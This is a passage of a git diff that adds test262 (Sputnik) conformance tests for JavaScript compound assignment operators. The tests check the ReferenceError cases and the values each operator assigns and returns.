--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.4.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.4.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x += y"
+ */
+
+//CHECK#1
+try {
+ var z = (x += 1);
+ $ERROR('#1.1: x += 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x += 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.5.js
new file mode 100644
index 000000000..7e8f4601d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.5.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.5.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x -= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x -= 1);
+ $ERROR('#1.1: x -= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x -= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.6.js
new file mode 100644
index 000000000..0c1d107bd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.6.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.6.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x <<= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x <<= 1);
+ $ERROR('#1.1: x <<= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x <<= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.7.js
new file mode 100644
index 000000000..0fd60d869
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.7.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.7.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x >>= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x >>= 1);
+ $ERROR('#1.1: x >>= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x >>= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.8.js
new file mode 100644
index 000000000..57259d1da
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.8.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.8.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x >>>= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x >>>= 1);
+ $ERROR('#1.1: x >>>= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x >>>= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.9.js
new file mode 100644
index 000000000..eac242da4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.9.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.9.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x &= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x &= 1);
+ $ERROR('#1.1: x &= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x &= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T1.js
new file mode 100644
index 000000000..d9ce71a56
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T1.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x *= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 *= 1);
+ $ERROR('#1.1: 1 *= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 *= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 *= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T10.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T10.js
new file mode 100644
index 000000000..38c494279
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T10.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T10.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x ^= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 ^= 1);
+ $ERROR('#1.1: 1 ^= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 ^= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 ^= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T11.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T11.js
new file mode 100644
index 000000000..45c162f86
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T11.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T11.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x |= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 |= 1);
+ $ERROR('#1.1: 1 |= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 |= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 |= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T2.js
new file mode 100644
index 000000000..7ba092e88
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T2.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x /= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 /= 1);
+ $ERROR('#1.1: 1 /= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 /= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 /= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T3.js
new file mode 100644
index 000000000..c26da6dd4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T3.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T3.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x %= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 %= 1);
+ $ERROR('#1.1: 1 %= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 %= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 %= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T4.js
new file mode 100644
index 000000000..bbfbd0f41
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T4.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x += y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 += 1);
+ $ERROR('#1.1: 1 += 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 += 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 += 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T5.js
new file mode 100644
index 000000000..d9a53ecaf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T5.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T5.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x -= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 -= 1);
+ $ERROR('#1.1: 1 -= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 -= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 -= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T6.js
new file mode 100644
index 000000000..34154341d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T6.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T6.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x <<= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 <<= 1);
+ $ERROR('#1.1: 1 <<= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 <<= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 <<= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T7.js
new file mode 100644
index 000000000..6f0e3fd4d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T7.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T7.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x >>= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 >>= 1);
+ $ERROR('#1.1: 1 >>= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 >>= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 >>= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T8.js
new file mode 100644
index 000000000..d82235391
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T8.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T8.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x >>>= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 >>>= 1);
+ $ERROR('#1.1: 1 >>>= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 >>>= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 >>>= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T9.js
new file mode 100644
index 000000000..f85aa27dd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.2_T9.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses PutValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.2_T9.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError). Check operator is "x &= y"
+ * @negative
+ */
+
+//CHECK#1
+try {
+ var z = (1 &= 1);
+ $ERROR('#1.1: 1 &= 1 throw ReferenceError (or SyntaxError). Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 &= 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ var z = (1 &= 1);
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T1.js
new file mode 100644
index 000000000..a50a1cba5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T1.js
+ * @description Checking Expression and Variable statements for x *= y
+ */
+
+//CHECK#1
+var x = 1;
+x *= -1;
+if (x !== -1) {
+ $ERROR('#1: var x = 1; x *= -1; x === -1. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 1;
+y *= -1;
+if (y !== -1) {
+ $ERROR('#2: y = 1; y *= -1; y === -1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T10.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T10.js
new file mode 100644
index 000000000..a552f7d08
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T10.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T10.js
+ * @description Checking Expression and Variable statements for x ^= y
+ */
+
+//CHECK#1
+var x = 0;
+x ^= 1;
+if (x !== 1) {
+ $ERROR('#1: var x = 0; x ^= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 1;
+y ^= 0;
+if (y !== 1) {
+ $ERROR('#2: y = 1; y ^= 0; y === 1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T11.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T11.js
new file mode 100644
index 000000000..6bacd0744
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T11.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T11.js
+ * @description Checking Expression and Variable statements for x |= y
+ */
+
+//CHECK#1
+var x = 0;
+x |= 1;
+if (x !== 1) {
+ $ERROR('#1: var x = 0; x |= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 1;
+y |= 0;
+if (y !== 1) {
+ $ERROR('#2: y = 1; y |= 0; y === 1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T2.js
new file mode 100644
index 000000000..2b07ad143
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T2.js
+ * @description Checking Expression and Variable statements for x /= y
+ */
+
+//CHECK#1
+var x = 1;
+x /= -1;
+if (x !== -1) {
+ $ERROR('#1: var x = 1; x /= -1; x === -1. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 1;
+y /= -1;
+if (y !== -1) {
+ $ERROR('#2: y = 1; y /= -1; y === -1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T3.js
new file mode 100644
index 000000000..74ca601ac
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T3.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T3.js
+ * @description Checking Expression and Variable statements for x %= y
+ */
+
+//CHECK#1
+var x = -1;
+x %= 2;
+if (x !== -1) {
+ $ERROR('#1: var x = -1; x %= 2; x === -1. Actual: ' + (x));
+}
+
+//CHECK#2
+y = -1;
+y %= 2;
+if (y !== -1) {
+ $ERROR('#2: y = -1; y %= 2; y === -1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T4.js
new file mode 100644
index 000000000..b97dce0b0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T4.js
+ * @description Checking Expression and Variable statements for x += y
+ */
+
+//CHECK#1
+var x = 1;
+x += 1;
+if (x !== 2) {
+ $ERROR('#1: var x = 1; x += 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 1;
+y += 1;
+if (y !== 2) {
+ $ERROR('#2: y = 1; y += 1; y === 2. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T5.js
new file mode 100644
index 000000000..266953269
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T5.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T5.js
+ * @description Checking Expression and Variable statements for x -= y
+ */
+
+//CHECK#1
+var x = -1;
+x -= 1;
+if (x !== -2) {
+ $ERROR('#1: var x = -1; x -= 1; x === -2. Actual: ' + (x));
+}
+
+//CHECK#2
+y = -1;
+y -= 1;
+if (y !== -2) {
+ $ERROR('#2: y = -1; y -= 1; y === -2. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T6.js
new file mode 100644
index 000000000..08aac7981
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T6.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T6.js
+ * @description Checking Expression and Variable statements for x <<= y
+ */
+
+//CHECK#1
+var x = 1;
+x <<= 1;
+if (x !== 2) {
+ $ERROR('#1: var x = 1; x <<= 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 1;
+y <<= 1;
+if (y !== 2) {
+ $ERROR('#2: y = 1; y <<= 1; y === 2. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T7.js
new file mode 100644
index 000000000..b2102b2b8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T7.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T7.js
+ * @description Checking Expression and Variable statements for x >>= y
+ */
+
+//CHECK#1
+var x = 4;
+x >>= 1;
+if (x !== 2) {
+ $ERROR('#1: var x = 4; x >>= 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 4;
+y >>= 1;
+if (y !== 2) {
+ $ERROR('#2: y = 4; y >>= 1; y === 2. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T8.js
new file mode 100644
index 000000000..7a7dbc7f6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T8.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T8.js
+ * @description Checking Expression and Variable statements for x >>>= y
+ */
+
+//CHECK#1
+var x = 4;
+x >>>= 1;
+if (x !== 2) {
+ $ERROR('#1: var x = 4; x >>>= 1; x === 2. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 4;
+y >>>= 1;
+if (y !== 2) {
+ $ERROR('#2: y = 4; y >>>= 1; y === 2. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T9.js
new file mode 100644
index 000000000..8e1408df5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.1_T9.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y uses PutValue(x, x @ y)
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.1_T9.js
+ * @description Checking Expression and Variable statements for x &= y
+ */
+
+//CHECK#1
+var x = 1;
+x &= 1;
+if (x !== 1) {
+ $ERROR('#1: var x = 1; x &= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 1;
+y &= 1;
+if (y !== 1) {
+ $ERROR('#2: y = 1; y &= 1; y === 1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T1.js
new file mode 100644
index 000000000..8a092bea6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x @= y returns x @ y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A3.2_T1.js
+ * @description Checking Expression and Variable statements for x *= y
+ */
+
+//CHECK#1
+var x = 1;
+var x1 = (x *= -1);
+if (x1 !== -1) {
+ $ERROR('#1: var x = 1; var x1 = (x *= -1); x1 === -1. Actual: ' + (x1));
+}
+
+//CHECK#2
+y = 1;
+y1 = (y *= -1);
+if (y1 !== -1) {
+ $ERROR('#2: y = 1; y1 = (y *= -1); y1 === -1. Actual: ' + (y1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T10.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T10.js
new file mode 100644
index 000000000..26de3f6ed
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A3.2_T10.js
